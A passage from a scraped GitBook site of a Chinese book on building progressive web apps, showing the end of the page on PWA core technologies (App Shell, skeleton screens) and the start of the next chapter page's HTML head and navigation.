&#x663E;&#x793A;&#x9875;&#x9762;&#x7684;&#x5916;&#x6846;&#x90E8;&#x5206;&#xFF0C;&#x521D;&#x59CB;&#x5185;&#x5BB9;&#x5C31;&#x7528;&#x9AA8;&#x67B6;&#x5C4F;&#x6765;&#x586B;&#x5145;&#xFF0C;&#x4FDD;&#x8BC1;&#x4E3B;&#x4F53;&#x5185;&#x5BB9;&#x533A;&#x57DF;&#x4E0D;&#x4F1A;&#x7559;&#x767D;&#xFF0C;&#x5B83;&#x7684;&#x7279;&#x70B9;&#x662F;&#xFF1A;</p>\n<ul>\n<li>&#x5728;&#x9875;&#x9762;&#x52A0;&#x8F7D;&#x521D;&#x671F;&#x9884;&#x5148;&#x6E32;&#x67D3;&#x5185;&#x5BB9;&#xFF0C;&#x63D0;&#x5347;&#x611F;&#x5B98;&#x4E0A;&#x7684;&#x4F53;&#x9A8C;</li>\n<li>&#x4E00;&#x822C;&#x60C5;&#x51B5;&#x9AA8;&#x67B6;&#x5C4F;&#x548C;&#x5B9E;&#x9645;&#x5185;&#x5BB9;&#x7684;&#x7ED3;&#x6784;&#x662F;&#x7C7B;&#x4F3C;&#x7684;&#xFF0C;&#x56E0;&#x6B64;&#x4E4B;&#x540E;&#x7684;&#x5207;&#x6362;&#x4E0D;&#x4F1A;&#x8FC7;&#x4E8E;&#x7A81;&#x5140;&#x3002;&#x8FD9;&#x70B9;&#x548C;&#x4F20;&#x7EDF;&#x7684; Loading &#x52A8;&#x56FE;&#x4E0D;&#x540C;&#xFF0C;&#x53EF;&#x4EE5;&#x8BA4;&#x4E3A;&#x662F;&#x5176;&#x5347;&#x7EA7;&#x7248;</li>\n<li>&#x53EA;&#x9700;&#x8981;&#x7B80;&#x5355;&#x7684; CSS &#x652F;&#x6301; (&#x6D89;&#x53CA;&#x56FE;&#x7247;&#x61D2;&#x52A0;&#x8F7D;&#x53EF;&#x80FD;&#x8FD8;&#x9700;&#x8981; JS )&#xFF0C;&#x4E0D;&#x8981;&#x6C42; HTTPS &#x534F;&#x8BAE;&#xFF0C;&#x6CA1;&#x6709;&#x989D;&#x5916;&#x7684;&#x5B66;&#x4E60;&#x548C;&#x7EF4;&#x62A4;&#x6210;&#x672C;</li>\n<li>&#x5982;&#x679C;&#x9875;&#x9762;&#x91C7;&#x7528;&#x7EC4;&#x4EF6;&#x5316;&#x5F00;&#x53D1;&#xFF0C;&#x6BCF;&#x4E2A;&#x7EC4;&#x4EF6;&#x53EF;&#x4EE5;&#x6839;&#x636E;&#x81EA;&#x8EAB;&#x72B6;&#x6001;&#x5B9A;&#x4E49;&#x81EA;&#x8EAB;&#x7684;&#x9AA8;&#x67B6;&#x5C4F;&#x53CA;&#x5176;&#x5207;&#x6362;&#x65F6;&#x673A;&#xFF0C;&#x540C;&#x65F6;&#x7EF4;&#x6301;&#x4E86;&#x7EC4;&#x4EF6;&#x4E4B;&#x95F4;&#x7684;&#x72EC;&#x7ACB;&#x6027;</li>\n</ul>\n<p>App Shell &#x548C;&#x9AA8;&#x67B6;&#x5C4F;&#x5728;&#x63D0;&#x5347;&#x9996;&#x5C4F;&#x4F53;&#x9A8C;&#x4E0A;&#x53D1;&#x6325;&#x4E86;&#x91CD;&#x8981;&#x4F5C;&#x7528;&#xFF0C;&#x672C;&#x4E66;&#x7B2C;&#x4E8C;&#x7AE0;&#x4F1A;&#x9996;&#x5148;&#x4ECB;&#x7ECD;&#xFF0C;&#x5728;&#x4E86;&#x89E3;&#x4E86;&#x8FD9;&#x90E8;&#x5206;&#x5185;&#x5BB9;&#x4E4B;&#x540E;&#xFF0C;&#x5C31;&#x80FD;&#x591F;&#x5F88;&#x597D;&#x7684;&#x7406;&#x89E3; App Shell &#x7ED3;&#x5408; Service Worker &#x7684;&#x91CD;&#x8981;&#x6027;&#x3002;</p>\n<p>&#x4EE5;&#x4E0A;&#x56DB;&#x70B9;&#x662F;&#x7B14;&#x8005;&#x8BA4;&#x4E3A;&#x5BF9;&#x5E94; PWA &#x975E;&#x5E38;&#x91CD;&#x8981;&#x7684;&#x6280;&#x672F;&#xFF0C;&#x56E0;&#x6B64;&#x5217;&#x51FA;&#x6765;&#xFF0C;&#x5E76;&#x4E14;&#x540E;&#x7EED;&#x4E5F;&#x4F1A;&#x91CD;&#x70B9;&#x8BB2;&#x8FF0;&#xFF0C;&#x5176;&#x4ED6;&#x5728;&#x8FD9;&#x91CC;&#x6CA1;&#x6709;&#x63D0;&#x5230;&#x7684;&#x6280;&#x672F;&#x5BF9;&#x4E8E; PWA &#x6765;&#x8BF4;&#x4E5F;&#x540C;&#x6837;&#x91CD;&#x8981;&#xFF0C;&#x5728;&#x672C;&#x4E66;&#x4E2D;&#x4E0D;&#x4F1A;&#x91CD;&#x70B9;&#x8BB2;&#x8FF0;&#xFF0C;&#x4F46;&#x4E5F;&#x4F1A;&#x6709;&#x6240;&#x63D0;&#x53CA;&#xFF0C;&#x5F00;&#x53D1;&#x8005;&#x53EF;&#x4EE5;&#x53BB;&#x9605;&#x8BFB;&#x4E00;&#x4E9B;&#x76F8;&#x5173;&#x7684;&#x6587;&#x6863;&#x6216;&#x8005;&#x6807;&#x51C6;&#xFF0C;&#x6BD4;&#x5982; <a href=\"https://developer.mozilla.org/en-US/\" target=\"_blank\">MDN</a> &#x7AD9;&#x70B9;&#x3002;</p>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    &#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:41 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                <a href=\"2-what-is-pwa.html\" class=\"navigation navigation-prev \" aria-label=\"Previous page: 1.2 什么是 PWA\">\n                    <i class=\"fa fa-angle-left\"></i>\n                </a>\n                \n                \n                <a href=\"4-how-is-pwa-going.html\" class=\"navigation navigation-next \" aria-label=\"Next page: 1.4 PWA 的发展\">\n                    <i class=\"fa fa-angle-right\"></i>\n                </a>\n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"1.3 PWA 的核心技术\",\"level\":\"1.2.3\",\"depth\":2,\"next\":{\"title\":\"1.4 PWA 的发展\",\"level\":\"1.2.4\",\"depth\":2,\"path\":\"chapter01/4-how-is-pwa-going.md\",\"ref\":\"chapter01/4-how-is-pwa-going.md\",\"articles\":[]},\"previous\":{\"title\":\"1.2 什么是 PWA\",\"level\":\"1.2.2\",\"depth\":2,\"path\":\"chapter01/2-what-is-pwa.md\",\"ref\":\"chapter01/2-what-is-pwa.md\",\"articles\":[]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas <lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"chapter01/3-what-are-key-techs.md\",\"mtime\":\"2019-06-19T10:37:41.915Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\"..\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"../gitbook/gitbook.js\"></script>\n    <script src=\"../gitbook/theme.js\"></script>\n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "docs/chapter01/4-how-is-pwa-going.html",
    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>1.4 PWA 的发展 · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"../gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"../gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"../gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    <link rel=\"next\" href=\"5-the-future-of-pwa.html\" />\n    \n    \n    <link rel=\"prev\" href=\"3-what-are-key-techs.html\" />\n    \n\n    \n    <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter \" data-level=\"1.1\" data-path=\"../\">\n            \n                <a href=\"../\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2\" data-path=\"../chapter01.html\">\n            \n                <a href=\"../chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.2.1\" data-path=\"1-how-was-pwa-born.html\">\n            \n                <a href=\"1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.2\" data-path=\"2-what-is-pwa.html\">\n            \n                <a href=\"2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.3\" data-path=\"3-what-are-key-techs.html\">\n            \n                <a href=\"3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter active\" data-level=\"1.2.4\" data-path=\"4-how-is-pwa-going.html\">\n            \n                <a href=\"4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.5\" data-path=\"5-the-future-of-pwa.html\">\n            \n                <a href=\"5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.6\" data-path=\"6-your-first-pwa.html\">\n            \n                <a href=\"6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3\" data-path=\"../chapter02.html\">\n            \n                <a href=\"../chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.3.1\" data-path=\"../chapter02/1-what-is-good-ux.html\">\n            \n                <a href=\"../chapter02/1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.2\" data-path=\"../chapter02/2-design-and-tech.html\">\n            \n                <a href=\"../chapter02/2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.3\" data-path=\"../chapter02/3-app-shell.html\">\n            \n                <a href=\"../chapter02/3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.4\" data-path=\"../chapter02/4-app-skeleton.html\">\n            \n                <a href=\"../chapter02/4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.5\" data-path=\"../chapter02/5-responsive-design.html\">\n            \n                <a href=\"../chapter02/5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4\" data-path=\"../chapter03.html\">\n            \n                <a href=\"../chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.4.1\" data-path=\"../chapter03/1-promise.html\">\n            \n                <a href=\"../chapter03/1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.2\" data-path=\"../chapter03/2-async-function.html\">\n            \n                <a href=\"../chapter03/2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.3\" data-path=\"../chapter03/3-fetch-api.html\">\n            \n                <a href=\"../chapter03/3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.4\" data-path=\"../chapter03/4-cache-api.html\">\n            \n                <a href=\"../chapter03/4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.5\" data-path=\"../chapter03/5-indexeddb.html\">\n            \n                <a href=\"../chapter03/5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5\" data-path=\"../chapter04.html\">\n            \n                <a href=\"../chapter04.html\">\n            \n                    \n                    第4章 Service Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.5.1\" data-path=\"../chapter04/1-service-worker-introduction.html\">\n            \n                <a href=\"../chapter04/1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.2\" data-path=\"../chapter04/2-service-worker-register.html\">\n            \n                <a href=\"../chapter04/2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.3\" data-path=\"../chapter04/3-service-worker-dive.html\">\n            \n                <a href=\"../chapter04/3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.4\" data-path=\"../chapter04/4-service-worker-debug.html\">\n            \n                <a href=\"../chapter04/4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6\" data-path=\"../chapter05.html\">\n            \n                <a href=\"../chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.6.1\" data-path=\"../chapter05/1-fetch-event-management.html\">\n            \n                <a href=\"../chapter05/1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.2\" data-path=\"../chapter05/2-local-storage-management.html\">\n            \n                <a href=\"../chapter05/2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.3\" data-path=\"../chapter05/3-respond-strategy.html\">\n            \n                <a href=\"../chapter05/3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.4\" data-path=\"../chapter05/4-precache.html\">\n            \n                <a href=\"../chapter05/4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.5\" data-path=\"../chapter05/5-workbox.html\">\n            \n                <a href=\"../chapter05/5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7\" data-path=\"../chapter06.html\">\n            \n                <a href=\"../chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.7.1\" data-path=\"../chapter06/1-manifest-json.html\">\n            \n                <a href=\"../chapter06/1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.2\" data-path=\"../chapter06/2-credentials-api.html\">\n            \n                <a href=\"../chapter06/2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.3\" data-path=\"../chapter06/3-notification-api.html\">\n            \n                <a href=\"../chapter06/3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.4\" data-path=\"../chapter06/4-web-push-api.html\">\n            \n                <a href=\"../chapter06/4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.5\" data-path=\"../chapter06/5-payment-request-api.html\">\n            \n                <a href=\"../chapter06/5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8\" data-path=\"../chapter07.html\">\n            \n                <a href=\"../chapter07.html\">\n            \n                    \n                    第7章 安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.8.1\" data-path=\"../chapter07/1-https.html\">\n            \n                <a href=\"../chapter07/1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.2\" data-path=\"../chapter07/2-CSP.html\">\n            \n                <a href=\"../chapter07/2-CSP.html\">\n            